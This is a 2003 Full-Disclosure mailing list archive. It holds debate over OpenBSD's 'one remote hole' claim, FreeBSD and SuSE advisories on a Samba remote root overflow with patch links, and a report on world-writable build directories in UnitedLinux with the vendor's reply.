<3E9195A5.1010006@guninski.com> Message-ID: <20030407174854.GA25737@cs.utk.edu> On Mon, Apr 07, 2003 at 06:13:41PM +0300, Georgi Guninski wrote: > http://www.securitynewsportal.com/cgi-bin/cgi-script/csNews/csNews.cgi?database=JanY%2edb&command=viewone&id=72&op=t > > Fine opinion about war and m$, but the statement > "OpenBSD, which does not develop as many products as Microsoft, says only > one vulnerability or hole has been found in its software in the past seven > years" > is untrue. I believe the article took the quote from openbsd.org's front page: "Only one remote hole in the default install, in more than 7 years!" and extended it beyond the scope of a "default install" to all software the openbsd project develops. -Dave From codex at phate.net Mon Apr 7 18:55:30 2003 From: codex at phate.net (Codex) Date: Mon, 7 Apr 2003 18:55:30 +0100 Subject: [Full-Disclosure] U.S. military helps fund Calgary hacker with $2.3 million References: <3E9195A5.1010006@guninski.com> Message-ID: <07a801c2fd2e$e251f4a0$8405a8c0@bogus.net> hardly surprising. a newspaper is only as good as its journalists. ----- Original Message ----- From: "Georgi Guninski" To: Sent: Monday, April 07, 2003 4:13 PM Subject: [Full-Disclosure] U.S. military helps fund Calgary hacker with $2.3 million > http://www.securitynewsportal.com/cgi-bin/cgi-script/csNews/csNews.cgi?datab ase=JanY%2edb&command=viewone&id=72&op=t > > Fine opinion about war and m$, but the statement > "OpenBSD, which does not develop as many products as Microsoft, says only one > vulnerability or hole has been found in its software in the past seven years" > is untrue. > > Georgi > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html From security-advisories at freebsd.org Mon Apr 7 14:41:32 2003 From: security-advisories at freebsd.org (FreeBSD Security Advisories) Date: Mon, 7 Apr 2003 06:41:32 -0700 (PDT) Subject: [Full-Disclosure] FreeBSD Security Notice FreeBSD-SN-03:01 Message-ID: <200304071341.h37DfWmv004884@freefall.freebsd.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ============================================================================= FreeBSD-SN-03:01 Security Notice The FreeBSD Project Topic: security issue in samba ports Announced: 2003-04-07 I. Introduction Several ports in the FreeBSD Ports Collection are affected by security issues. These are listed below with references and affected versions. All versions given refer to the FreeBSD port/package version numbers. The listed vulnerabilities are not specific to FreeBSD unless otherwise noted. These ports are not installed by default, nor are they ``part of FreeBSD'' as such. The FreeBSD Ports Collection contains thousands of third-party applications in a ready-to-install format. FreeBSD makes no claim about the security of these third-party applications. See for more information about the FreeBSD Ports Collection. II. Ports +------------------------------------------------------------------------+ Port name: net/samba Affected: versions < samba-2.2.8_2, samba-2.2.8a Status: Fixed Two vulnerabilities recently: (1) Sebastian Krahmer of the SuSE Security Team identified vulnerabilities that could lead to arbitrary code execution as root, as well as a race condition that could allow overwriting of system files. (This vulnerability was previously fixed in Samba 2.2.8.) (2) Digital Defense, Inc. reports: ``This vulnerability, if exploited correctly, leads to an anonymous user gaining root access on a Samba serving system. All versions of Samba up to and including Samba 2.2.8 are vulnerable. Alpha versions of Samba 3.0 and above are *NOT* vulnerable.'' +------------------------------------------------------------------------+ Port name: net/samba-tng Affected: all versions Status: Not fixed Some or all of the vulnerabilities affecting Samba may also affect Samba-TNG. No confirmation or official patches are available at the time of this security notice. +------------------------------------------------------------------------+ III. Upgrading Ports/Packages To upgrade a fixed port/package, perform one of the following: 1) Upgrade your Ports Collection and rebuild and reinstall the port. Several tools are available in the Ports Collection to make this easier. See: /usr/ports/devel/portcheckout /usr/ports/misc/porteasy /usr/ports/sysutils/portupgrade 2) Deinstall the old package and install a new package obtained from [FreeBSD 4.x, i386] ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/All/ [FreeBSD 5.x, i386] ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/All/ Packages are not automatically generated for other architectures at this time. Note that new, official packages may not be available on all mirrors immediately. In the interim, Security Officer-generated packages (and detached digital signatures) are available for the i386 architecture at: [FreeBSD 4.x, i386] ftp://ftp2.FreeBSD.org/pub/FreeBSD/security-officer/ports/i386/packages-4-stable/samba-2.2.8_2.tgz ftp://ftp2.FreeBSD.org/pub/FreeBSD/security-officer/ports/i386/packages-4-stable/samba-2.2.8_2.tgz.asc [FreeBSD 5.x] ftp://ftp2.FreeBSD.org/pub/FreeBSD/security-officer/ports/i386/packages-5-current/samba-2.2.8_2.tbz ftp://ftp2.FreeBSD.org/pub/FreeBSD/security-officer/ports/i386/packages-5-current/samba-2.2.8_2.tbz.asc +------------------------------------------------------------------------+ FreeBSD Security Notices are communications from the Security Officer intended to inform the user community about potential security issues, such as bugs in the third-party applications found in the Ports Collection, which will not be addressed in a FreeBSD Security Advisory. Feedback on Security Notices is welcome at . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (FreeBSD) iD8DBQE+kX+vFdaIBMps37IRAtkmAJ4ruhx4WQLeSPSPgfmzrVW4uYvVJACfRxem 4q3eO8IxTujzRR2QwH4eyK4= =/4KW -----END PGP SIGNATURE----- _______________________________________________ freebsd-security-notifications at freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-security-notifications To unsubscribe, send any mail to "freebsd-security-notifications-unsubscribe at freebsd.org" From MarkC at mtbaker.wednet.edu Mon Apr 7 19:32:16 2003 From: MarkC at mtbaker.wednet.edu (Mark Challender) Date: Mon, 7 Apr 2003 11:32:16 -0700 Subject: FW: [Full-Disclosure] FreeBSD Security Notice FreeBSD-SN-03:01 Message-ID: <9A0A3DC261C5D311900900600806068C01DB7E22@Castor.mtbaker.wednet.edu> Georgi, Can I borrow your crystal ball? ========================== you wrote: Fine opinion about war and m$, but the statement "OpenBSD, which does not develop as many products as Microsoft, says only one vulnerability or hole has been found in its software in the past seven years" is untrue. Georgi =========================== Mark Challender Network Administrator Are you sending out a virus hoax? Check the website below and be sure. http://vil.nai.com/VIL/hoaxes.asp -----Original Message----- From: FreeBSD Security Advisories [mailto:security-advisories at freebsd.org] Sent: Monday, April 07, 2003 6:42 AM To: FreeBSD Security Advisories Subject: [Full-Disclosure] FreeBSD Security Notice FreeBSD-SN-03:01 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ============================================================================ = FreeBSD-SN-03:01 Security Notice The FreeBSD Project Topic: security issue in samba ports Announced: 2003-04-07 I. Introduction Several ports in the FreeBSD Ports Collection are affected by security issues. These are listed below with references and affected versions. All versions given refer to the FreeBSD port/package version numbers. The listed vulnerabilities are not specific to FreeBSD unless otherwise noted. These ports are not installed by default, nor are they ``part of FreeBSD'' as such. The FreeBSD Ports Collection contains thousands of third-party applications in a ready-to-install format. FreeBSD makes no claim about the security of these third-party applications. See for more information about the FreeBSD Ports Collection. II. Ports +------------------------------------------------------------------------+ Port name: net/samba Affected: versions < samba-2.2.8_2, samba-2.2.8a Status: Fixed Two vulnerabilities recently: (1) Sebastian Krahmer of the SuSE Security Team identified vulnerabilities that could lead to arbitrary code execution as root, as well as a race condition that could allow overwriting of system files. (This vulnerability was previously fixed in Samba 2.2.8.) (2) Digital Defense, Inc. reports: ``This vulnerability, if exploited correctly, leads to an anonymous user gaining root access on a Samba serving system. All versions of Samba up to and including Samba 2.2.8 are vulnerable. Alpha versions of Samba 3.0 and above are *NOT* vulnerable.'' +------------------------------------------------------------------------+ Port name: net/samba-tng Affected: all versions Status: Not fixed Some or all of the vulnerabilities affecting Samba may also affect Samba-TNG. No confirmation or official patches are available at the time of this security notice. +------------------------------------------------------------------------+ III. Upgrading Ports/Packages To upgrade a fixed port/package, perform one of the following: 1) Upgrade your Ports Collection and rebuild and reinstall the port. Several tools are available in the Ports Collection to make this easier. See: /usr/ports/devel/portcheckout /usr/ports/misc/porteasy /usr/ports/sysutils/portupgrade 2) Deinstall the old package and install a new package obtained from [FreeBSD 4.x, i386] ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/All/ [FreeBSD 5.x, i386] ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/All/ Packages are not automatically generated for other architectures at this time. Note that new, official packages may not be available on all mirrors immediately. In the interim, Security Officer-generated packages (and detached digital signatures) are available for the i386 architecture at: [FreeBSD 4.x, i386] ftp://ftp2.FreeBSD.org/pub/FreeBSD/security-officer/ports/i386/packages-4-st able/samba-2.2.8_2.tgz ftp://ftp2.FreeBSD.org/pub/FreeBSD/security-officer/ports/i386/packages-4-st able/samba-2.2.8_2.tgz.asc [FreeBSD 5.x] ftp://ftp2.FreeBSD.org/pub/FreeBSD/security-officer/ports/i386/packages-5-cu rrent/samba-2.2.8_2.tbz ftp://ftp2.FreeBSD.org/pub/FreeBSD/security-officer/ports/i386/packages-5-cu rrent/samba-2.2.8_2.tbz.asc +------------------------------------------------------------------------+ FreeBSD Security Notices are communications from the Security Officer intended to inform the user community about potential security issues, such as bugs in the third-party applications found in the Ports Collection, which will not be addressed in a FreeBSD Security Advisory. Feedback on Security Notices is welcome at . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (FreeBSD) iD8DBQE+kX+vFdaIBMps37IRAtkmAJ4ruhx4WQLeSPSPgfmzrVW4uYvVJACfRxem 4q3eO8IxTujzRR2QwH4eyK4= =/4KW -----END PGP SIGNATURE----- _______________________________________________ freebsd-security-notifications at freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-security-notifications To unsubscribe, send any mail to "freebsd-security-notifications-unsubscribe at freebsd.org" _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From BlueBoar at thievco.com Mon Apr 7 19:31:48 2003 From: BlueBoar at thievco.com (Blue Boar) Date: Mon, 07 Apr 2003 11:31:48 -0700 Subject: [Full-Disclosure] U.S. military helps fund Calgary hacker with $2.3 million In-Reply-To: <3E9195A5.1010006@guninski.com> References: <3E9195A5.1010006@guninski.com> Message-ID: <3E91C414.3060006@thievco.com> Georgi Guninski wrote: > http://www.securitynewsportal.com/cgi-bin/cgi-script/csNews/csNews.cgi?database=JanY%2edb&command=viewone&id=72&op=t > > > Fine opinion about war and m$, but the statement > "OpenBSD, which does not develop as many products as Microsoft, says > only one vulnerability or hole has been found in its software in the > past seven years" > is untrue. If you track down the original copy of the article (on the Slashdot front page ATM) http://www.globetechnology.com/servlet/story/RTGAM.20030406.whack46/GTStory You'll see that they author is a "business and technology correspondent". I.e. he's not a techie, which is apparent if you read his description of source code. You'll also notice that the statement you take issue with is not a direct quote. I'd be willing to give Theo the benefit of the doubt that the author misunderstood the "Only one remote hole in the default install, in more than 7 years!" claim of the OpenBSD team. Unless you think that claim is also untrue. BB From kain at ircop.dk Mon Apr 7 19:02:12 2003 From: kain at ircop.dk (=?iso-8859-1?Q?Knud_Erik_H=F8jgaard?=) Date: Mon, 7 Apr 2003 20:02:12 +0200 Subject: [Full-Disclosure] Dangerous permissions in unitedlinux Message-ID: <004e01c2fd2f$d123f4c0$24029dd9@tuborg> Attached document explains all. Rant: People using a product called 'antigen' should be shot, stabbed, and shot again. Today, more than a month after posting DSR-toppler.pl and sircd.sh, I _still_ get 5-8 emails a day saying that 'a virus have been found and quarantined'. Oh please, get a grip. And please oh please stop sending email from invalid addresses, I can't even mail you back and tell you what I think of your AV solution. -- Knud Erik H?jgaard -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: DSR-unitedlinux.txt Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030407/f07c6d29/attachment.txt From debian-security-announce at lists.debian.org Mon Apr 7 19:48:54 2003 From: debian-security-announce at lists.debian.org (debian-security-announce at lists.debian.org) Date: Mon, 7 Apr 2003 20:48:54 +0200 (CEST) Subject: [Full-Disclosure] [SECURITY] [DSA 280-1] New samba packages fix remote root exploit Message-ID: An embedded and charset-unspecified text was scrubbed... Name: not available Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030407/5c1e5419/attachment.ksh From pekkas at netcore.fi Mon Apr 7 20:37:00 2003 From: pekkas at netcore.fi (Pekka Savola) Date: Mon, 7 Apr 2003 22:37:00 +0300 (EEST) Subject: [Full-Disclosure] U.S. military helps fund Calgary hacker with $2.3 million In-Reply-To: <3E91C414.3060006@thievco.com> Message-ID: On Mon, 7 Apr 2003, Blue Boar wrote: > I'd be willing to give Theo the benefit of the doubt > that the author misunderstood the "Only one remote hole in the default > install, in more than 7 years!" claim of the OpenBSD team. Unless you > think that claim is also untrue. That claim is certainly untrue. If you take a default install from 7 years back, you certainly have more remote holes, in services that have since been removed from the default install -- looking 7 years back from *current* default install, not default install *7 years back*. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From smcmahon at eiv.com Mon Apr 7 21:13:16 2003 From: smcmahon at eiv.com (Shawn McMahon) Date: Mon, 7 Apr 2003 16:13:16 -0400 Subject: [Full-Disclosure] U.S. military helps fund Calgary hacker with $2.3 million In-Reply-To: <20030407174854.GA25737@cs.utk.edu> References: <3E9195A5.1010006@guninski.com> <20030407174854.GA25737@cs.utk.edu> Message-ID: <20030407201316.GA6978@eiv.com> On Mon, Apr 07, 2003 at 01:48:54PM -0400, David Vasil said: > > "Only one remote hole in the default install, in more than 7 years!" > > and extended it beyond the scope of a "default install" to all > software the openbsd project develops. Yes, but it was always disingenuous to not include OpenSSH as "default install". I mean, unless it was intended that only systems that were not remotely accessible in any way counted as "default install", in which case the security claim was essentially useless. -- Shawn McMahon | Let every nation know, whether it wishes us well or ill, EIV Consulting | that we shall pay any price, bear any burden, meet any UNIX and Linux | hardship, support any friend, oppose any foe, to assure http://www.eiv.com| the survival and the success of liberty. - JFK -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030407/c1c74841/attachment.bin From draht at suse.de Mon Apr 7 21:14:01 2003 From: draht at suse.de (Roman Drahtmueller) Date: Mon, 7 Apr 2003 22:14:01 +0200 (MEST) Subject: [Full-Disclosure] Dangerous permissions in unitedlinux Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hello Knud, While all of the four UnitedLinux partners Conectiva, SCO, TurboLinux and SuSE have greatly contributed to what UnitedLinux is today, SuSE has the role of the product integrator of UnitedLinux 1.0. I'm answering as head of security at SuSE. > Attached document explains all. > > Rant: People using a product called 'antigen' should be shot, stabbed, and No comment on the rant... [quotes strongly shortened] > According to the vendor "UnitedLinux addresses enterprise customers' > needs for a high quality, low cost, standards-based Linux environment > that enables the widespread adoption of Linux." > II. DESCRIPTION > The folders below /usr/src/packages/ ships with the following permissions: > drwxrwxrwt, which makes it writeable by all users. > III. ANALYSIS > This makes way for planting of rogue source, ultimately leading to a full > system compromise. > IV. DETECTION > UnitedLinux 1.0 (i586) beta3 is found to be vulnerable. Generally, it might be a bad idea to report security related problems in a beta after the product has been released. But anyway: The final UnitedLinux 1.0 products contain the same setup: All directories within /usr/src/packages are world-writeable with the t-flag set (mode 1777). The modes have been set like this intentionally to make it possible for a non-root user to (re)build packages using the command 'rpm --rebuild package.spm'. By consequence, this is a tradeoff: Either you don't provide the modes necessary for non-root package builds, or you take the risk that somebody plants an egg in those directories. > V. WORKAROUND > > Change the permissions on > /usr/src/packages/* and below to something more suitable. We have thought of an easier way than changing the modes manually: vi /etc/sysconfig/security and change PERMISSION_SECURITY from "easy local" to "secure local". Afterwards, either run SuSEconfig or 'chkstat -set /etc/permissions.secure'. > VI. VENDOR FIX > > unknown None. > IX. CREDIT > Knud Erik H?jgaard/kokanin[a]dtors.net Thanks, Roman Drahtm?ller, SuSE Security. - - -- - - | Roman Drahtm?ller // "You don't need eyes to see, | SuSE Linux AG - Security Phone: // you need vision!" | N?rnberg, Germany +49-911-740530 // Maxi Jazz, Faithless | - - -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) Comment: SuSE Security iQEVAwUBPpHcGXey5gA9JdPZAQG6wQgAk+vcXCYCeZuF0iH6sh0t+0QoDp0wYuJ6 VC5negBSgrrprlJ94hDP67MlZchN+euLfbaEB2+Ipp7x3g0j1ZDn1ZTlcQ6i6bIM X6J/S+YiBmzBhr21bk2rjKNoQfA7/PXJAuYgHOUQvgN4yKzhVdZ24fuWLQgCDpYA OxQjM1BB4rZmuqrKG5z+Kcb7d+bIrhPn35v5vfKaONwhiDRo0CmIAloV2uds7poy KZb5ua7BFYSS9JwfeUlt9juOsK55vP/aZdO4JPfD0fAol4DWwNyaTmsnNZoQJAfQ KwZEo124SIcEfBpd+3sb72tqPN6V1NegrLnwYtTmrw/IxQZuuN42sQ== =gGrW -----END PGP SIGNATURE----- From WChang at pickatime.com Mon Apr 7 21:21:13 2003 From: WChang at pickatime.com (Wayne Chang) Date: Mon, 7 Apr 2003 16:21:13 -0400 Subject: [Full-Disclosure] U.S. military helps fund Calgary hacker with $2.3 million References: Message-ID: <002a01c2fd43$3ed07440$e04f7780@ttol> "Only one remote hole in the default install, in more than 7 years!" I take it that it means there has been only one remote hole in the default install a one 7-year stretch, whether that includes this year or not, it doesn't say. 1990-1997 is a 7-year stretch. 1991-1998 is a 7-year stretch. By default install, it means the default install of any openbsd in that 7-year stretch, not specific on one. It's pretty tricky that the marketting strategists over there wrote up that sentence, but if it sells one more license, then so be it. Wayne Chang Pacific Northwest Software ----- Original Message ----- From: "Pekka Savola" To: "Blue Boar" Cc: ; Sent: Monday, April 07, 2003 3:37 PM Subject: Re: [Full-Disclosure] U.S. military helps fund Calgary hacker with $2.3 million > On Mon, 7 Apr 2003, Blue Boar wrote: > > I'd be willing to give Theo the benefit of the doubt > > that the author misunderstood the "Only one remote hole in the default > > install, in more than 7 years!" claim of the OpenBSD team. Unless you > > think that claim is also untrue. > > That claim is certainly untrue. > > If you take a default install from 7 years back, you certainly have more > remote holes, in services that have since been removed from the default > install -- looking 7 years back from *current* default install, not > default install *7 years back*. > > -- > Pekka Savola "You each name yourselves king, yet the > Netcore Oy kingdom bleeds." > Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html From draht at suse.de Mon Apr 7 21:32:05 2003 From: draht at suse.de (Roman Drahtmueller) Date: Mon, 7 Apr 2003 22:32:05 +0200 (MEST) Subject: [Full-Disclosure] SuSE Security Announcement: samba (SuSE-SA:2003:025) Message-ID: -----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: samba Announcement-ID: SuSE-SA:2003:025 Date: Monday, Apr 7th 2003 21:00 MEST Affected products: 7.1, 7.2, 7.3, 8.0, 8.1, 8.2 SuSE Linux Database Server, SuSE eMail Server III, 3.1 SuSE Linux Enterprise Server 7, 8 SuSE Linux Firewall on CD/Admin host SuSE Linux Connectivity Server SuSE Linux Office Server Vulnerability Type: remote root access Severity (1-10): 7 SuSE default package: no Cross References: CAN-2003-0201 Content of this advisory: 1) security vulnerability resolved: samba problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds: - glibc - vnc 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information Digital Defense Inc. have discovered a buffer overflow in the samba file server, the widely spread implementation of the SMB protocol. The flaw allows a remote attacker to execute arbitrary commands as root on a server that runs a vulnerable version of samba. The vulnerability is known as DDI trans2.c overflow bug and is assigned the CVE ID CAN-2003-0201. Since this vulnerability was found during an analysis of an exploit happening in the wild, it should be assumed that exploits are circulating in the internet. A possible workaround is to restrict access using the "hosts allow" directive in the smb.conf file to a group of trusted hosts/addresses that should be able to access the server. Please see the sbm.conf(5) manpage ("man smb.conf") for more details about such configuration changes. It should be noted that each change of the configuration requires restarting/reloading the samba daemon ("rcsmb reload"). The only efficient and permanent remedy for the vulnerability should be to install the provided update packages from locations as listed below. It should be noted that this announcement is not a re-release of SuSE Security Announcement SuSE-SA:2003:016. While the update packages that are subject of this announcement (SuSE-SA:2003:025) also cover the problems fixed with SuSE-SA:2003:016, it announces fixes for a different vulnerability in addition. Therefore, the update packages must be installed again. Please note that the package names for SuSE products vary for different products. There exist the following pairings: server client ---------------------------- samba smbclnt samba samba-client samba-classic samba-classic-client samba-ldap samba-ldap-client To find out which packages are installed on your system, you may run the following command: rpm -qa|egrep '(samba|smbclnt)' Please download the update package for your distribution and verify its integrity by the methods listed in section 3) of this announcement. Then, install the package using the command "rpm -Fhv file.rpm" to apply the update. Our maintenance customers are being notified individually. The packages are being offered to install from the maintenance web. SPECIAL INSTALL INSTRUCTIONS: ============================== After successfully installing the update packages, you should restart the samba server process(es) to make the changes in the system effective. If you do not have a samba server running on your system, no further action is required. If you have a samba server running, please run the following command as root: rcsmb try-restart This will restart the samba daemon(s) if such daemon(s) are already running. Intel i386 Platform: SuSE-8.2: ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/samba-2.2.7a-72.i586.rpm 40d47bed1d286f77d61503d93b48e276 ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/samba-client-2.2.7a-72.i586.rpm e6da6fc3da94548d8460f43193a493c9 patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/samba-2.2.7a-72.i586.patch.rpm 3105a12895ca956b4ab29c15dbfdc1d2 ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/samba-client-2.2.7a-72.i586.patch.rpm d0418a25a2ea67c9577e23597a4c272d source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/samba-2.2.7a-72.src.rpm 3e8dc087f8574f3d1259e020d6c005a6 SuSE-8.1: ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/samba-2.2.5-178.i586.rpm 684d7a7fff1f397736e3298d5a8c583d ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/samba-client-2.2.5-178.i586.rpm 7d9d9da83c5b8e6f049a5eb9a36d05e2 patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/samba-2.2.5-178.i586.patch.rpm 905b3c3c4803457738aed00892d854bb ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/samba-client-2.2.5-178.i586.patch.rpm 130d01b588d36576e1fbbce573a9bc86 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/samba-2.2.5-178.src.rpm 71b90b54594f9e392cd5dcd5d750496a SuSE-8.0: ftp://ftp.suse.com/pub/suse/i386/update/8.0/n2/samba-2.2.3a-172.i386.rpm a9ab49893027c3acd665e59ccecb6231 ftp://ftp.suse.com/pub/suse/i386/update/8.0/n1/samba-client-2.2.3a-172.i386.rpm 4920d2f7edbf66b8196133469d32fd24 patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.0/n2/samba-2.2.3a-172.i386.patch.rpm bbde3c06e09d37def8f035161b8c932d ftp://ftp.suse.com/pub/suse/i386/update/8.0/n1/samba-client-2.2.3a-172.i386.patch.rpm 70228df7686f1494fc44cbaa838720bf source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/samba-2.2.3a-172.src.rpm eb8d2a7e6b8f43d19388f28afa1b9812 SuSE-7.3: ftp://ftp.suse.com/pub/suse/i386/update/7.3/n2/samba-2.2.1a-220.i386.rpm 965b260e660224d61c16ffb78a47fdfa ftp://ftp.suse.com/pub/suse/i386/update/7.3/n1/samba-client-2.2.1a-220.i386.rpm bf20ce9c220f9a939aa43e2445a2142e source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/samba-2.2.1a-220.src.rpm bac7ada7dc2e3b5e238211fb181f4e32 SuSE-7.2: ftp://ftp.suse.com/pub/suse/i386/update/7.2/n2/samba-2.2.0a-52.i386.rpm 210da4fa4e1d601e78236d93e6abf5ac ftp://ftp.suse.com/pub/suse/i386/update/7.2/n1/smbclnt-2.2.0a-52.i386.rpm be819b970c2238a6d3c89e9f7f6dcb5f source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/samba-2.2.0a-52.src.rpm b04e7eec150c1ba519605b522e1da25b SuSE-7.1: ftp://ftp.suse.com/pub/suse/i386/update/7.1/n2/samba-2.0.10-32.i386.rpm de27cbd77c32d2d29e77a518ca09c60d ftp://ftp.suse.com/pub/suse/i386/update/7.1/n1/smbclnt-2.0.10-32.i386.rpm b020a46952c87b61d66cbc38c340155e source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/samba-2.0.10-32.src.rpm 45e6245a2fe47c430104671f41dc1a80 Sparc Platform: SuSE-7.3: ftp://ftp.suse.com/pub/suse/sparc/update/7.3/n2/samba-2.2.1a-76.sparc.rpm 2fa50186e7ff2ecb2f8ddebf2355efe4 ftp://ftp.suse.com/pub/suse/sparc/update/7.3/n1/samba-client-2.2.1a-76.sparc.rpm 057d67ddd8fc56a82fe592dcb4928e7e source rpm(s): ftp://ftp.suse.com/pub/suse/sparc/update/7.3/zq1/samba-2.2.1a-76.src.rpm 7bcdd1c7a782f311292ca5214422fdc5 AXP Alpha Platform: SuSE-7.1: ftp://ftp.suse.com/pub/suse/axp/update/7.1/n2/samba-2.0.10-23.alpha.rpm 6f88500a14ac86a6692788331b7aa626 ftp://ftp.suse.com/pub/suse/axp/update/7.1/n1/smbclnt-2.0.10-23.alpha.rpm a4444318b224b42137f017c0840ecd0f source rpm(s): ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/samba-2.0.10-23.src.rpm 5c15b09bc46cb550a320575bc833daf5 PPC Power PC Platform: SuSE-7.3: ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n2/samba-2.2.1a-150.ppc.rpm 5018c3418c8706a29e8f036eb006922f ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n1/samba-client-2.2.1a-150.ppc.rpm bd02b033055f87b5f4325e1a6bd4dca7 source rpm(s): ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/samba-2.2.1a-150.src.rpm 88c8a521103ae268843b951c0ca36669 SuSE-7.1: ftp://ftp.suse.com/pub/suse/ppc/update/7.1/n2/samba-2.0.10-24.ppc.rpm f78fe93753c2e230ab4c870bffe5a7f2 ftp://ftp.suse.com/pub/suse/ppc/update/7.1/n1/smbclnt-2.0.10-24.ppc.rpm 17def1f1b5a3514252187a9a0b250bf9 source rpm(s): ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/samba-2.0.10-24.src.rpm 926faf6542829ac64325965f18d1ba82 ______________________________________________________________________________ 2) Pending vulnerabilities in SuSE Distributions and Workarounds: - glibc New glibc packages will be available soon which fix a RPC XDR integer overflow. The packages are currently being tested. - vnc VNC (Virtual Network Computing) uses a weak cookie generation process which can be exploited by an attacker to bypass authentication. New packages are currently being tested and will be available on our FTP servers soon. ______________________________________________________________________________ 3) standard appendix: authenticity verification, additional information - Package authenticity verification: SuSE update packages are available on many mirror ftp servers all over the world. While this service is being considered valuable and important to the free and open source software community, many users wish to be sure about the origin of the package and its content before installing the package. There are two verification methods that can be used independently from each other to prove the authenticity of a downloaded file or rpm package: 1) md5sums as provided in the (cryptographically signed) announcement. 2) using the internal gpg signatures of the rpm package. 1) execute the command md5sum after you downloaded the file from a SuSE ftp server or its mirrors. Then, compare the resulting md5sum with the one that is listed in the announcement. Since the announcement containing the checksums is cryptographically signed (usually using the key security at suse.de), the checksums show proof of the authenticity of the package. We disrecommend to subscribe to security lists which cause the email message containing the announcement to be modified so that the signature does not match after transport through the mailing list software. Downsides: You must be able to verify the authenticity of the announcement in the first place. If RPM packages are being rebuilt and a new version of a package is published on the ftp server, all md5 sums for the files are useless. 2) rpm package signatures provide an easy way to verify the authenticity of an rpm package. Use the command rpm -v --checksig to verify the signature of the package, where is the filename of the rpm package that you have downloaded. Of course, package authenticity verification can only target an un-installed rpm package file. Prerequisites: a) gpg is installed b) The package is signed using a certain key. The public part of this key must be installed by the gpg program in the directory ~/.gnupg/ under the user's home directory who performs the signature verification (usually root). You can import the key that is used by SuSE in rpm packages for SuSE Linux by saving this announcement to a file ("announcement.txt") and running the command (do "su -" to be root): gpg --batch; gpg < announcement.txt | gpg --import SuSE Linux distributions version 7.1 and thereafter install the key "build at suse.de" upon installation or upgrade, provided that the package gpg is installed. The file containing the public key is placed at the top-level directory of the first CD (pubring.gpg) and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de . - SuSE runs two security mailing lists to which any interested party may subscribe: suse-security at suse.com - general/linux/SuSE security discussion. All SuSE security announcements are sent to this list. To subscribe, send an email to . suse-security-announce at suse.com - SuSE's announce-only mailing list. Only SuSE's security announcements are sent to this list. To subscribe, send an email to . For general information or the frequently asked questions (faq) send mail to: or respectively. ===================================================================== SuSE's security contact is or . The public key is listed below. ===================================================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. In particular, it is desired that the clear-text signature shows proof of the authenticity of the text. SuSE Linux AG makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org mQGiBDnu9IERBACT8Y35+2vv4MGVKiLEMOl9GdST6MCkYS3yEKeueNWc+z/0Kvff 4JctBsgs47tjmiI9sl0eHjm3gTR8rItXMN6sJEUHWzDP+Y0PFPboMvKx0FXl/A0d M+HFrruCgBlWt6FA+okRySQiliuI5phwqkXefl9AhkwR8xocQSVCFxcwvwCglVcO QliHu8jwRQHxlRE0tkwQQI0D+wfQwKdvhDplxHJ5nf7U8c/yE/vdvpN6lF0tmFrK 